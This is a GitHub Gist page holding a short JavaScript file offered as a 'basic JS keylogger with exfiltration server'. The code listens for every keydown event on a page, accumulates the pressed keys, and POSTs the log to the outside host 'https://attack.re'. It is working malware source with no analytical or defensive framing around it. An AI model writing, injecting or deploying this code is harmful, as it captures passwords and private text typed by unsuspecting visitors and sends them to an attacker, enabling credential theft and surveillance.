Last active
January 14, 2022 14:54
-
-
Save maggick/73df1e7bd30c55659d74fbadd80086c5 to your computer and use it in GitHub Desktop.
Basic JS keylogger with exfiltration server (HTTPS - POST)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let POST = function(url, params) { | |
let http = new XMLHttpRequest(); | |
http.open('POST', url, true); | |
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); | |
http.send(params); | |
}; | |
function logKey(e) { | |
k += ` ${e.key}`; | |
POST('https://attack.re', k); | |
} | |
var k="" | |
document.addEventListener('keydown', logKey); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment